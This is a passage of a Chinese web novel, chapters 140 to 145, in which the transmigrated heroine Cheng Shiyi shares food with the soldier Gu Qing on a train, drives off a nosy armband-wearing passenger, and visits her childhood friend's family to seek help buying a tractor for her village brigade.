两害取其轻，这个道理，她程十一还是很明白的。 第140章 咱俩的关系可不一般 那祖孙三人是个什么结局，程十一不知道，反正她醒来的时候也没看到对面下铺的袖箍大哥回来。 别说是对面下铺的大哥了，就连顾青也不在。 被子叠得板板正正的，就连铺着的褥单都很平整，程十一差点以为这人没跟着自己一起上车。 不过她刚醒来没多会儿顾青就回来了。 身上穿着一件白色衬衫，下摆掖在军绿色的裤子里，袖子也被挽到了臂弯上边，露出了结实的小臂。 两只手都没空着。 一只手拿着两个饭盒，另外一只手则是抓着一个罐头瓶子。 “这里面是热水，不过晾了会儿，你先去洗漱，回来就能喝。” 顾青说着将东西放在小桌板上，又道：“饭盒里是早饭，小米粥和包子，洗漱完回来吃。” 程十一哦了声，拿着自己的毛巾和牙膏牙刷去洗漱。 还好是卧铺，厕所处理得还挺干净，没有一进去就让人有想冲出来的冲动。 洗漱完，程十一感觉整个人都清醒了不少。 主要是车上没有洗漱的热水，全都是拔凉的冷水，那真是一泼到脸上，多大的瞌睡都能瞬间跑没影儿。 回到自己的铺位，发现自己的被子已经被叠好，同样是规规矩矩的豆腐块，除了顾青靠着过道坐着的位置外，其他地方的褥单同样是非常平整。 程十一嘴角一抽。 好家伙，真不知道该夸这人的内务做得好，还是该说这人有什么毛病了。 这卧铺铺得这么平整，是让她白天不要再躺下去当咸鱼挺尸吗？ 不过她才不管那些，直接坐在小桌板前面，打开饭盒。 是两个包子，还有一个水煮蛋。 再开另外一个，几乎三分之二的小米粥。 还挺热乎。 程十一摸出自己的饭勺，还不忘将咸菜罐子也拿出来。 正要舀一勺粥送到嘴里，动作突然顿住，转头看向正在看书的顾青：“你吃过了？” “嗯。” 顾青头都没抬一下。 程十一皱眉。 感觉这人没说实话。 想了想，程十一从昨天多出来的布袋子里拿出了个油纸包，放在桌子上，对着顾青说道：“那再来陪我吃点儿。” 顾青抬头看向程十一，脸上带着不解。 他刚刚是不是承认他已经吃过了？ 程十一微微抬起下巴，有点小傲娇的看着对方：“看啥？过来陪我吃点！不知道一个人吃饭很没意思吗？” 车上的饭菜虽说不用票也能买，但价格也是真的贵，一般人真不会选择在车上吃。 程十一感觉这人应该不会是那种会花大钱吃外面饭的样子。 看在他昨天晚上很配合自己，没有圣母心泛滥的非要和人换铺位的份儿上，程十一决定暂时照顾下自己的这个饭搭子。 顾青抿了抿唇，放下书，坐在了程十一对面。 油纸包已经被打开，里面是两个已经凉透的馒头。 不过还行，并不硬，配着还挺热乎的小米粥倒也能吃得下去。 程十一又拿出了个饭盒，这还是昨天吃红烧肉后被顾青刷干净的。 小米粥分给了对方差不多一半的份量，又给对方的饭盒盖子上分了个包子：“一人一个包子，馒头也是你的。” “你只吃一个包子？能吃饱吗？” 顾青表示怀疑。 这丫头的饭量不能说有多大，但肯定也不会这么小。 程十一耸耸肩，一脸的理所当然：“肯定吃不饱，但也不用吃饱，我还得留肚子吃别的。” 想到藤条箱子里的各种零食，顾青再次沉默。 好吧，小姑娘都喜欢吃零嘴，这一点他听说过，也是真的见识过。 两个人沉默的吃着饭，突然，程十一抬头看向顾青，眉眼间带着戏谑：“我还以为你会坚持和那个老太太换铺位。” 顾青嚼馒头的动作一顿，将嘴里的食物咽下去后，这才说道：“我不是不分好歹的人。” “哼！这还差不多！” 程十一哼了哼：“跟着姐，就要听姐的话，姐不准你换铺位，你就不能和人换铺位。” 说着，程十一还将鸡蛋一分为二，将蛋黄多的那一半放在了顾青的饭盒盖子里。 看着那多出来的半个鸡蛋，听着这小姑娘嘴里说的“姐”，顾青的嘴角抽了抽，一时间竟不知道是该笑还是该生气。 屁大点儿的小丫头片子，一句一个姐，搁这儿占他便宜呢？ 本想将鸡蛋还给程十一，但是想到这小姑娘说的还要留肚子吃零食，莫生就将鸡蛋放进了自己嘴里。 吃完后，喝了口小米粥顺了顺，这才开口：“我比你大。” “啥？” 程十一也刚刚吃了鸡蛋，一下子没反应过来这人说这话的意思。 顾青抬头看向程十一，很认真的说道：“我比你大，你应该叫我哥。” 程十一：…… 好家伙！这人还真不是一般的开不起玩笑。 开不起玩笑就不开！真是的，好像谁喜欢和他开玩笑似的！ “你可拉倒吧！别哥啊哥的，真这么叫了，万一被人听见了，还以为咱俩关系不一般呢！” 程十一撇嘴，夹了一块咸菜放在包子上，嗷呜一口咬下去，再喝一口粥。 啧，还别说，这么吃味道还真不错。 顾青蹙眉，面带不解：“我比你大，你叫我一声哥，这不是很正常吗？有什么可不一般的？” 程十一本来不想继续这个话题，可一听这话，她就不乐意了，板起脸来，拿出了一副教导主任的架势开始给顾青科普。 “我说顾同志，你要记住，如果不是你的亲妹妹，或者是你亲戚家的妹妹，你就少让别的女同志喊你哥。” “别的小姑娘一口一个哥的喊你，回头让你对象或者你媳妇儿知道了，得让人家女方心里多难受啊！” 看着对面的小姑娘那嘴叭叭叭的说，顾青还真有种被领导训话的错觉。 眨眨眼，顾青将那种诡异的感觉压下去，而是继续不耻下问：“年纪大的叫哥或者姐难道不正常？” “正常，不过那也得分情况。反正如果不是和你有亲戚关系的单身女孩子，尤其还是像我这种年轻貌美的小姑娘喊你哥的话，你可绝对不能瞎答应。” 程十一摇头晃脑，宛若一个老夫子：“男人，就应该对自己的媳妇儿一心一意，绝对不能让任何不想干的女人做出让自己媳妇儿产生任何误会的事，哪怕只是一个称呼也不行。” 第141章 吓跑袖箍大哥 顾青听得一头雾水，几次想要说自己没对象，更没娶媳妇儿，可压根插不进去话。 而程十一在说完之后才一拍脑门：“我和你说这些干啥啊，反正就是，嗯，哥啊姐啊的这种称呼也不是随便就能喊的。” 想了想，程十一又补充道：“不过你喊我姐肯定没问题，毕竟我也教了你东西，怎么说也算是你前辈了，对吧！” 说完，继续吃饭。 吃完饭就往床上一栽歪。 至于饭盒？ 有勤劳的顾同志在，这种小事怎么能轮得着她程姐动手呢？ 而顾青则是一脸茫然。 不是，这就对了？ 啥玩意儿就对了？ 这小丫头片子肯定是拐着弯的占自己便宜！ 想让他叫姐？ 做梦！ 顾青见程十一吃饱了，就加快了吃饭的速度。 说是吃过早饭，其实也不过就是买了两个三合面的馒头，就着白开水吃了而已。 饱是肯定没饱，但火车上的餐食是真的贵，他也是真的舍不得。 于是乎，在程十一又拿出了一本连环画看的时候，顾青已经将程十一后拿出来的馒头吃完了，还吃了些咸菜。 嗯，这下吃饱了。 收拾好小桌子，顾青就自动自觉的去刷饭盒，回来的时候才发现小姑娘已经睡着，原本拿在手里的连环画此时盖在了她的脸上。 顾青失笑摇头。 车上的温度并不算很高，再加上卧铺的乘客数量本就不如硬座车厢的人多，所以温度上就显得更凉了些。 偏偏小姑娘是枕着被子睡着的，顾青只好拿下了中铺的被子，小心翼翼的给小姑娘盖上，之后自己才重新坐在靠着过道的位置上继续看书。 程十一是被阳光照醒的。 升到半空的阳光透过窗户刚好照在她的脸上，还别说，有点刺眼。 打了个哈欠坐起来，这才发现自己身上盖着一条被子。 脚下的位置是坐着看书的顾青。 也不知道这人是坐了多久了，也不嫌累得慌。 不动，还没感觉，一坐起来，程十一就感觉自己想上厕所。 当即抓着自己的挎包就去了厕所，顾青只是看了她一眼，确定没有什么问题后继续将视线放在了手里的书籍上。 解决了人生大事，程十一再回来时，发现对面下铺的大哥已经回来了，头发有点乱，脸上一片油光，不过那精神却是格外的好，尤其是那双眼睛，亮晶晶的，就跟捡到钱似的。 而上铺的两位乘客则是不见踪影，也不知道是去吃饭遛弯，还是已经下车。 袖箍大哥看到顾青后，直接给了对方一个大大的笑，看得程十一有些发毛。 “小同志，这是你对象吧！当兵的，真牛！” 大哥说着，对着程十一就竖起了大拇指。 程十一瞪大眼睛，看看顾青，又看看袖箍大哥。 不是，她就去上了个厕所，来来回回能有十分钟？怎么好像错过了很多剧情？ 顾青听到这话后也看向了袖箍大哥，同样的一脸茫然。 啥玩意儿就是对象了？ 顾青下意识的要解释，却听程十一笑嘻嘻的说道：“大哥，你眼力真好！” “哈哈哈！是吧！” 袖箍大哥拍了拍自己的圆肚子：“我一看就知道你俩是一对儿。” 程十一面上笑呵呵，心里却在麻麻批。 就大哥你这眼神，啧，还是别评价了。 就只这么简单的两句对话，袖箍大哥的话匣子却打开了：“小同志，你这是要去跟你对象随军去吗？你对象在哪里当兵啊？啥职位了？都能随军了，咋也得是个连长营长啥的吧？” 这下程十一就不笑了，而是板着脸看着对方，声音里也带了几分冷：“大哥，你觉得你礼貌吗？” “啊？” 袖箍大哥一愣，显然没想到刚刚还笑得甜甜的小同志怎么转眼就变了脸。 程十一依旧冷着脸说道：“我对象是军人，你是陌生人，第一次见面就问得这么详细，你是要干什么？是不是要打探什么军事机密？” 此话一出，袖箍大哥瞬间就笑不出来了，甚至那油光锃亮的额头上都渗出了一层细汗，连连摆手：“不是不是，没没有，小同志，你，你别误会啊！我这就是闲聊。” 说着还拍了下自己的嘴：“你看我这张嘴就是没个把门的，没事就想找人唠两句。那啥，我突然想起来还没吃饭，我先去吃饭了哈！你们俩继续，继续看书。“ 袖箍大哥看到顾青手里拿着一本书，就找了这么个借口，拿起自己的包就出了卧铺，急匆匆的往一侧走，那速度快的哟，不能说是跑，但那速度也和小跑不差什么了。 程十一撇嘴，小声嘟囔：“什么东西！” 顾青看着程十一，刚好看到小姑娘翻白眼噘嘴，一脸嫌弃的样子，瞧着竟然有点可爱。 “你很不喜欢他？” 顾青问。 程十一翻白眼：“你喜欢？” “我？” 顾青眨眨眼：“没什么感觉，就是觉得这人挺自来熟的。” “哼！可不自来熟么！” 程十一嫌弃得直撇嘴：“出门胳膊上还戴着那么个东西，还主动问这问那的，说他没啥坏心眼子，打死我都不信！” 那么个东西，这个称呼让顾青一下子就确认了这小姑娘是很讨厌那种戴着袖箍的人。 想到那些人的所作所为，虽说他常年在部队，但对外面的事也不是什么都不清楚。 说实话，他也不喜欢。 见小丫头实在是很不高兴，顾青也不再继续这个话题，而是问起了别的事：“饿不饿？要不要吃点东西？” 此话一出，前一秒还一脸嫌弃厌恶的小姑娘瞬间脸色一变，当即展露一个大大的笑容：“好啊好啊！” 说着就要去拿箱子。 顾青当即上前将箱子拿起来，接着就站在一旁看着小丫头对着打开的箱子抓下巴。 一边抓下巴还一边皱眉小声嘟囔：“带的吃的太多了，都不知道吃点啥好了。” 顾青：…… 确实是不知道该吃什么才好了，一箱子的零食，罐头、糖果，就算是换成他，他也犯难。 不过这和他也没什么关系，转身就要回去继续看书。 哪曾想刚坐下，就看到一个罐头出现在自己面前。 第142章 小姑娘吃东西的速度有点快 一瓶黄桃罐头，大块的黄桃肉黄澄澄看着就很好吃的样子。 顾青没有接罐头，反而看向程十一：“谢谢，我不吃。” 程十一眨眨眼，脸上闪过茫然的神色，随即摇头：“不是，你帮我打开。” 罐头这盖子，她也不是不能自己打开，但那不是要费力气吗？ 旁边就有一个现成的工具人哎，为啥不用？ 顾青：…… 感情是他自作多情了呗？ 算了，不和个小姑娘计较！ 顾青放下书，接过来后，将罐头倒过来，手掌在罐头的瓶底拍了两下，之后重新正放，一手握着瓶身，一手抓着瓶盖，一个用力。 程十一看着那小臂上的肌肉因为用力而展示出来的线条，接着就听见噗的一声，随即罐头就被送到了自己面前。 啧！ 肌肉真好看！ 用力的时候更好看！ 想咬一口！ 将罐头接过来，程十一也不盘腿坐在铺位上了，而是趿拉着自己的布鞋坐在床头的位置，拿出另外一个罐头瓶。 空的，里面的橘子罐头早就被她消灭干净，甚至瓶子都被顾青清洗干净了。 这个时代，就算是罐头瓶子那也是稀罕玩意儿。 程十一倒是不缺喝水的杯子，可这种瓶子灌上热水，拧紧盖子后，那就是妥妥的暖宝宝。 自己用不到，但是陈丽娇肯定能用上，所以这瓶子她是打算带回去后给陈丽娇的。 现在罐头瓶子是空着的，当着顾青的面也不可能直接收进系统仓库里，就被她随手放进了箱子中。 这会儿再拿出来，程十一就从新开的罐头里面用筷子扎了两块黄桃出来，又倒了些里面的糖水，然后将新分出来的小份罐头再次递给了顾青。 顾青本来已经重新自带看书了，哪曾想面前又多了个罐头，还是个半瓶的。 所以，就这么一会儿的功夫，小姑娘就吃完了大半了？ 这速度是不是有点过于迅速了？ 顾青直接看向程十一，却见对方正用一根筷子插着一块黄桃在吃，而另外一只手还保持着端着罐头递给自己的姿势。 程十一感觉没人接，还有点纳闷，也转头看过来。 嘴里在嚼嚼嚼，不解的眼神则是和顾青诧异的目光对上。 眨眨眼，程十一问：“咋了？这个是分出来的，我没吃过，赶紧接着啊！” 程十一也不算是什么特别大方的人。 对于自己喜欢的人，她那是真的大方，比如陈丽娇。 对于不喜欢的人，就算是一块鸡蛋皮她都很吝啬给出去，比如孙娟。 还有一种情况可以让她稍微大方一点的，就是当下这种情况。 对方帮助自己，或者是帮自己节省了不少麻烦，那么她就会稍微大方一些。 顾青看着小姑娘的一侧脸颊有点鼓，随着嚼嚼嚼的动作还动来动去的，有点想笑。 “我不吃，你留着自己吃，路程还挺长的。” 顾青笑着摇头。 他发誓，真的不是在笑人家小姑娘鼓着一侧腮帮子嚼东西的样子很可爱。 程十一撇撇嘴：“你别磨叽了，给你你就吃。再说了，这么一大瓶罐头呢，我也不可能一天都吃了，会撑死我的。” 真不是她瞎说，而是这罐头是真的挺大的。 一天三顿饭，她是肯定要按时吃的，零食能吃，但也不能占了吃正餐的肚子啊！ 顾青还想说什么，就看到程十一的小脸儿上有些不乐意了：“赶紧的吧！再说了，我箱子里还有不少吃的，现在不吃，难道要等到了地方后放着吗？别等到时候东西都坏了，那可就浪费了。” 顾青哑然。 都知道东西很多，不吃会坏，那你还准备那么多干什么啊？ 就听程十一又道：“再说了，你不收我给你的吃的，是想让我也不要再接受你买回来的饭菜吗？还是说，你想让我给你钱票，这样咱俩银货两讫？” 顾青更无奈了，接过罐头，低声道：“你不用额外给我钱票，这次你是为了大队的事才会折腾这么一趟，我也是大队出来的人，这也算是为了大队出一份力。” 这是顾青的实话。 虽然他的粮食户口关系已经不在大队了，可他到底是从大队里走出来的，人，不能忘本，也不能忘根。 所以在大队长交给自己介绍信，以及这项护送的任务时，他就已经有了决定，那就是这一路上的吃喝花销，他会一力承担。 就是真的没想到这个小姑娘还会自己准备这么多吃的。 程十一撇嘴，倒是没有反驳了。 反正罐头送出去了就行，她自己是真吃不完这么一大瓶。 而且她感觉自己好像真得起来走一走，动一动了。 这么吃了睡，睡醒吃，感觉是挺爽，但也是真的不消化。 她决定了，吃完了这瓶罐头后就起来走动走动，消消食，要不然容易吃不下午饭。 接下来的路程里，袖箍大哥只回来一次，是来拿行李的，在中途的一站下车离开了，之后对面的下铺就再也没人上来。 不等乘务员过来，顾青就将对面的铺位整理好了，而他也坐在了对面铺位靠着走廊的位置。 程十一起来走动了两圈，感觉舒服多了，这才重新回来看连环画。 快到吃饭的时间，顾青就会自觉去买饭。 转眼，距离到站只有不到一个小时的时间，乘务员过来提醒。 程十一将自己的东西整理好，而顾青则是将三个麻袋全部从家座位底下拽出来。 车窗外的景象终于再次出现了城市的景色，不能说多好看，但却证明他们马上就要下车。 两个人来到车门排队等着下车。 此时卧铺上的人更少了，等待下车的人也没几个，除了程十一俩人外，另外还有两个人在前面排队。 此时窗外的天色已经暗了下来，已经下午五点多。 “等下下车后就直接找个招待所，然后你好好休息，我晚上要出去一趟。如果晚上没回来，你也不用担心，我明天早上会来找你一起吃早饭。” 到了自己，不，是原主的家乡了，程十一表示自己多少也要尽一下地主之谊。 不过得明天，今天晚上就算了，她还有别的事情要做。 第143章 熟悉的感觉终于来了 原主所在的城市是座老城，因为周围有不少山区，所以在战争时期曾经发生过不少战役，也有不少人在山林占山为王。 既然有人占山为王，那抢夺的事情自然也就有不少。 后来随着解放，国家安定下来，那些曾经占山为王的人为了将手里的东西转为金银粮食之类的东西，就建立了鬼市。 既然是鬼市，自然就不可能摆在明面上。 原主自然是没去过鬼市的，但作为在这里生活了十几年的人，多多少少的也听说过鬼市的存在。 只是鬼市到底在哪里，原主不知道，也不可能有人告诉她。 程十一在火车上的时候就梳理过从原主那里继承到的记忆。 原主上过学，虽然只上过小学，但也算是认识了朋友，不多，也就是曾经的同桌，一个扎着两个麻花辫的小姑娘。 小姑娘家里的条件不错，胆子也不小，但却没有欺负过原主，甚至还在原主被欺负的时候站出来保护原主。 只可惜后来原主被迫辍学，和那位同桌的联系也少了很多。 不是不想联系，而是压根就没时间联系。 家里的活占用了原主几乎除了睡觉外的所有时间，根本没有时间出去找小伙伴玩，甚至是聊天都很难。 而原主对于鬼市的存在，也是从这位小伙伴嘴里听说的。 黑市白天开放，但鬼市是晚上开放，且管理更加严格，没有熟人牵线，根本连入口都找不到。 程十一推测鬼市的存在，上面也是知道的，只不过并没有像打压黑市那么严重。 要说自己去鬼市闯闯，程十一没想过，但她觉得既然小伙伴能知道鬼市的存在，很有可能是家里人和鬼市那边有联系。 自己既然都回来这一趟了，怎么也要赚点小钱钱吧！ 她不出面，但却可以找个中间人啊！ 想归想，操作起来的难度系数肯定不会低。 程十一决定去找小伙伴，也不完全是为了鬼市，更多的还是想看看能不能通过小伙伴家里的关系，联系上机械厂或者拖拉机厂，至少将拖拉机这件事过个明路。 晚上去，家里的大人肯定在，先探探路。 如果行不通，自己就得抓紧时间另外想办法。 办法好几个，就从最简单的开始尝试。 顾青只是看了她一眼，并没有说话。 担心是有的，一个小姑娘天黑之后还在外面走动，确实让人不放心。 但要说自己也跟着，也不适合。 搞来一辆拖拉机，如果真的走常规程序，根本行不通，否则他们大队早就有拖拉机了，也不可能等到现在还要靠着一个小知青来做。 既然不能走常规程序，那么自己这个身份就不适合出现，容易坏事。 俩人下了车，就在火车站附近的招待所开了两个房间。 三个麻袋全都送到了程十一的房间里，之后顾青就回了房间。 在程十一关门前，顾青说道：“注意安全，有事打电话回来。” “好。” 程十一答应得干脆，关门的动作更是丝毫不拖泥带水。 看着关上的房门，顾青无奈摇头，转身离开。 将人送到这里，大队长交给他的任务就算是完成了。 按说接下来他就可以离开去忙自己的事，但顾青还是有些不放心。 对于顾青的担心，程十一完全不知道。 将门关好，程十一就忙活开了。 山货不能一整个麻袋的送到人家里去，太打眼了，也显得不值钱。 送礼嘛，不能说送多贵的，但也不可能送太多。 木耳装两斤，蘑菇也来两斤。 都是约摸出来的重量。 程十一在商城里买了几个牛皮纸袋，将这些蘑菇木耳全都分开装好。 这么一看，档次就明显不一样了。 虽说数量瞧着也不少，可和麻袋一比，啧，完全不是一回事。 罐头之类的就算了，这玩意儿在城里可比她在公社买要容易得多。 想了想，从商城里买了两斤核桃和一斤松子。 这个价格，怎么说呢，要说贵吧，一斤八毛，真不算贵，但要说便宜，那也是真不便宜，要知道现在的猪肉一斤也才块八毛钱。 一斤松子都比一斤猪肉贵了，真不算便宜。 好在她也不是差钱的主儿，花了也就花了。 将六个牛皮纸袋全都放进自己的筐里，简单的梳洗一番，换上一身干净的衣服，程十一就出了门。 听到隔壁门开又关上，顾青起身。 开门出来时，就只看到了小姑娘的身影消失在拐角处。 这会儿的公交车还没下班，程十一问了一下路，最后坐上车。 虽说售票员的服务态度不算好，但有一点是可以肯定的，那就是到站了她是真喊啊！ 听到自己要下车的站点，程十一赶紧下车。 下车后，熟悉的感觉终于来了。 这里原主来过，是同桌邀请她到家里做客的时候来过两次。 虽然只有两次，但对于原主来说已经是短暂人生中唯二的见世面的事情了。 所以，原主印象深刻，如今再回到这里，那种自己明明没来过，但又确实来过的感觉着实让程十一的心情很复杂。 进入到一条还算宽敞的胡同，往里面走，到了中间的一家院门前停下。 院子的大门是双开的木门，虽然天已经黑了，但依旧能够看到木门很结实，半点光亮都透不出来。 院墙也高，能有一米八左右，对于如今的程十一来说，就算踮脚都看不到的程度。 听不见声音，但是空气中弥漫着烧柴的烟味儿，以及一些饭菜的香气。 各家各户的烟囱里都飘着烟，都是在忙着做饭。 程十一抬起手，却没敲门，而是按上了门框上的一个黑色按钮。 门铃，这东西一般人家真用不起，但同桌家可以，而且是从好多年前就用上了。 随着铃铃铃的一阵响，院子里很快传来一个脆生生的声音：“谁啊？” “请问是阮玲玲家吗？” 程十一虽然嘴上这么问，但她已经确认了询问的那个人就是阮玲玲。 而阮玲玲就是原主的小学同桌，也是唯一的朋友。 第144章 一二三的那个十一 阮玲玲是怎么都没想到居然还能再看见自己的小姐妹。 “二丫，你不是下乡去了吗？这是有探亲假了？” 阮玲玲亲昵的挽着程十一的胳膊往屋里走，一边走还一边关心询问：“下乡是不是特别苦？你瞧瞧你都瘦……” 后面的“了”字说不出口了。 借着门上的灯泡散发出来的光亮，阮玲玲终于看清了程十一的脸。 哪里瘦了，分明是胖了！ 而且脸色也比以前好很多，除了个头还是没有自己高外，其他的一切都显示着自己的小姐妹过得很不错。 “玲玲，谁啊？” 屋里传出一个女人的声音，唤回了阮玲玲的注意力，连忙应道：“妈，是我以前的同桌，王二丫。” 王……二……丫…… 这个名字让程十一的嘴角狂抽了两下。 见鬼的王二丫！ 程十一深吸一口气，努力不让自己发飙，还挤出了笑，跟着阮玲玲进了屋。 屋里的光线明显就要亮堂很多了，屋顶上挂着的灯泡瓦数应该不低，将整间屋子都照得格外亮堂。 堂屋中间摆着一张四方桌，四面分别摆着一把凳子。 桌子上面摆着两道炒菜，还有一大碗汤，另外就是三副碗筷，看着碗里的二米饭已经吃了大半。 靠着一侧墙还有一排沙发，虽说是木制的，但上面用浅粉色的布盖着。 另外一侧靠墙的柜子上则是摆着一台电视。 很小，但在这个时候，能有这样一台电视机的人家可以称得上是超级富裕的人家了。 不仅要有钱，还得有人脉，否则就算拿着钱都买不到电视机。 正对着门口的凳子上坐着一个男人，国字脸，浓眉大眼的，看着就跟一种很有正气的感觉。 而在他旁边则是坐个女人。 夫妻俩的年纪看起来不到四十岁，衣服都很整齐，在能看到的地方完全没有打补丁。 啧，真是有钱人的一家啊！ “爸妈，二丫回来了。” 阮玲玲显得很高兴，主动做起介绍：“你们还记得不，我俩小学的时候是同桌呢！” 程十一此时也适时开口，很礼貌的问好：“叔叔阿姨好。” 夫妻俩都看着程十一。 阮妈妈眨眨眼，突然就反应过来，哎呀一声，一边起身迎过来一边招呼道：“原来是二丫啊！真是女大十八变，长得这么漂亮了！” 程十一羞赧的笑了笑。 阮爸爸虽然没起身，但却招呼道：“还没吃饭吧！坐下一起吃口。” 接着又对自家媳妇儿说道：“再煮点挂面。” “哎，我这就去！” 阮妈妈一点抗拒的意思都没有，赶紧就要出门去。 程十一连忙将人拦住：“叔叔，阿姨，不用了，我吃过饭来的。” 说着，程十一从筐里拿出了牛皮纸袋子放在桌子边缘：“我从下乡的地方回来，带了点那里的特产，也不是什么好东西，给家里尝尝鲜。” “你这孩子，怎么还带东西过来呢？赶紧收起来收起来，带回去给家里吃。” 阮妈妈赶紧阻止。 程十一却摇头：“这是专门给您家里准备的，家里还有，真的。” 阮妈妈看向阮爸爸，意思是询问到底要不要收。 阮爸爸看了程十一两秒钟，这才笑着点点头：“既然是孩子的心意，那就收着吧！不过饭还是要吃的，就算吃过了也再吃点。” 话都说到这份儿上了，程十一自然不会再拒绝。 阮妈妈赶紧就去煮面条了，而程十一则是被阮玲玲拉着去洗了手，这才回来坐下。 程十一的位置就在阮爸爸的对面。 一张脸上一直带着温和的笑，可是程十一就是感觉对方在审视自己，好像要看出什么来似的。 那感觉就好像是……曾经当牛马时，笑呵呵的老板站在自己身后看自己工作的感觉。 就挺，怀念的。 “二丫，你到底去哪里下乡了呀？我之前还特意去知青办打听过，可是他们都不告诉我。” 提起这个，阮玲玲的嘴就撅了起来，显然很不高兴。 程十一笑着说道：“我现在在黑省那边下乡，回头我把地址留给你，咱俩没事可以通信。” “好呀好呀！一定要给我留地址，要不然我都不知道怎么联系你了。” 阮玲玲抓着程十一的一只手，一脸担忧的问：“你说你怎么就下乡了呢？你家里还有哥哥姐姐，怎么也轮不到你啊！” “我不是他们亲生的孩子，都说下乡的日子不好过，他们自然不会舍得让自己的亲生孩子下乡。” 程十一微笑着说出了这件事的实情。 话音落，阮玲玲就瞪大了眼睛，就连刚刚还撅着的嘴此时都张大了。 好一会儿，阮玲玲才惊呼道：“你，你，你还真不是他们亲生的啊！” 话刚一出口，阮玲玲就赶忙捂住了自己的嘴。 程十一诧异的看着她：“怎么这么说？” 阮玲玲心虚的看了一眼自家父亲，又赶紧看向程十一，红着脸小声解释：“就是小时候你不是总，总被欺负嘛！就有人和我说，你肯定不是你家里亲生的，当时我还和他们吵架了呢！” “哈哈，这样啊！” 程十一爽朗一笑，轻轻拍了拍小姑娘的手背：“虽然他们猜对了，但是我很感谢你的维护。” “哎呀，你这话干什么，咱俩可是好姐妹，我肯定得护着你啊！” 阮玲玲一扬下巴，很是傲娇。 程十一抿嘴笑。 原主王二丫的十六年人生确实挺苦的，但也不全都是苦的，至少她还有这么一个真心对她好的小姐妹。 “二丫……” 阮玲玲又要说什么，程十一连忙打断：“玲玲，我已经从王家的户口迁出来了，如今我的名字叫程十一。” “程十一？” 阮玲玲一愣：“哪个十一？” “前程的程，一二三的那个十一。” 程十一解释：“我在王家生活了十一年，所以就起名十一。” “这样啊！” 阮玲玲了然的点点头：“程十一，程十一，这个名字好，比王二丫好听多了！” “二，不是，十一，你都不知道，现在学校里的女同学可少了，就算有，大部分也都是什么丫啊，妞啊，招娣什么的，我听着就觉得可难受了。” 第145章 你跟我来书房一趟 阮玲玲是个很喜欢说话的姑娘，也对程十一格外的关心。 程十一挑了一些能说的说了，让小姑娘又是心疼又是感叹，最后更是对阮爸爸说道：“爸，你能不能想想办法让十一回城啊？乡下也太苦了。” 光是听小姐妹说的那些事情，阮玲玲就觉得苦。 又要下地干活，又要上山砍柴，那得多累啊！ 不等阮爸爸有什么反应，程十一连忙摆手：“不用不用，我还挺喜欢下乡的日子的，比在王家的时候自在，也没那么累。” 这是实话，和原主相比，自己下乡的这段时间过得那是真的逍遥自在。 虽说里面是有系统提供的便利在，但就算没有系统，只要原主能够坚持活到下乡，其实日子也会比在王家的时候舒服自在很多。 阮玲玲噘嘴，表示不满意小姐妹这么说。 而阮爸爸则是赞赏的看了一眼程十一。 这小姑娘倒是个有眼色的，没顺着自家傻闺女的话往下说，要不然还容易尴尬。 阮爸爸不想继续闺女提的这个话题，而是主动开口：“十一，你这次回来是探亲还是什么？” 听这姑娘说的，她已经和原来的家庭脱离的关系，如果要探亲的话，似乎有些不对路。 程十一过来看阮玲玲，一来是看望小伙伴，二来就是冲着她家里的家长来的，所以现在自然不会绕弯子，大大方方的表明了自己是来替大队采购拖拉机。 “采购拖拉机？” 阮爸爸皱眉：“现在所有工厂都是计划生产，在上产之前就已经安排好了销路，你这样突然过来，怕是不能成。” 这个程十一自然懂，还配合的点点头，刚要再说什么，就见阮妈妈端着一个二大碗进来了。 碗里是煮好的挂面，汤底带着点暗色，汤面上还有油花，炒熟的葱花，甚至还卧了两个鸡蛋。 一看就是炝锅煮的面条，光是闻着就很不错。 “阿姨，这也太多了，我吃不了啊！” 程十一嘴上这么说，可心里却有感动。 挂面在当下那也是金贵的玩意儿了，虽说比不过麦乳精那些，但也不是谁想买都能买的。 就算买了，那也不是家里人谁想吃都能吃到的。 记忆里，王家就算煮挂面了，那也是紧着王海柱这个一家之主为主，其他孩子多多少少能分上一两口，配上点汤。 至于原主，那就别想了，最多也就是用水涮一涮煮过挂面的锅，再把水喝了。 别说是面条，就算是面汤都捞不到一口。 “你这孩子，给你煮了你就都吃了，瞧瞧你这身上都没多少肉。” 阮妈妈将一大碗面直接摆在了程十一面前：“别剩下，剩饭可不是好孩子。” 听着那宠溺的语气，程十一突然就想起了陈丽娇。 她娇娇姐也是一直把她当个孩子看，这样被当孩子一样宠着的感觉可真好。 “好！” 程十一也不扭捏，拿起筷子来，直接给阮玲玲分了一个鸡蛋：“面条不给你，鸡蛋分你一个。” “我不要！” 阮玲玲作势就要阻止，却听程十一又道：“好姐妹，有福同享。不过面条这个福只能是我的，你就勉为其难的分一分鸡蛋的福吧！” “我……” 阮玲玲还要说，却听阮妈妈笑着说道：“分给你了你就吃吧！” 之所以卧了两个鸡蛋，就是为了能给自家闺女带一个。 不过她没有直接表现出来，就是想看看这个隔了好几年了突然又登门的小姑娘是不是个懂礼的。 面条不分就不分了，她也没打算让程十一分面条出来，要不然她也不会直接煮这么一大碗，既然煮了，那就是为了让小姑娘能吃饱。 但一个鸡蛋，如果对方还舍不得分，那就是另外一回事了。 阮玲玲一听自家妈妈这么说，也就不阻止了，笑嘻嘻的对程十一说道：“等会儿吃完饭你到我房间去，我还有巧克力呢，到时候咱俩一起吃！” “好！” 程十一答应得痛快，因为脸上带着笑，眼睛弯弯的。 两个小姑娘对视一眼，全都是开心。 程十一在火车上几乎是吃了一路，要是多饿，真没有。 但是到了饭点了，她就习惯的想要吃点什么，本来想着等从阮家走了，自己就去国营饭店看看。 如果国营饭店不营业了，那她就回招待所吃老本，没想到阮家给她煮了这么一大碗面条。 那就吃面条！ 都说上车的饺子下车的面，她这也算歪打正着的走这样的老话了。 虽说多了一个人，但阮家饭桌上的气氛却没有变冷，反而变得更加热闹了。 阮家吃饭也没有食不言的规矩，一边吃饭一边闲聊，更是让程十一放松许多。 吃过饭，程十一主动帮忙收拾桌面碗筷，阮妈妈自然是不同意的，阮玲玲也说她来就行。 可程十一哪里能真的什么都不做啊！ 就在僵持时，阮爸爸突然说道：“十一啊，你跟我来一趟。” 说着，阮爸爸朝着旁边的一扇门走去。 阮玲玲眨眨眼，问：“爸爸，让十一去你书房做什么啊？” 阮爸爸并没有说什么不该问的别问之类的呵斥言语，反而还很温和的反问：“你的小姐妹不是要替大队买拖拉机吗？难道你不想让爸爸问问具体是怎么回事？” 此话一出，阮玲玲的眼睛唰的就亮了，放下手里的筷子就推着程十一朝着自家父亲的书房方向走，一边走还一边催促：“十一，你快跟我爸过去，有什么困难就和我爸说，千万别客气啊！我爸就是你爸，该使唤就使唤！” 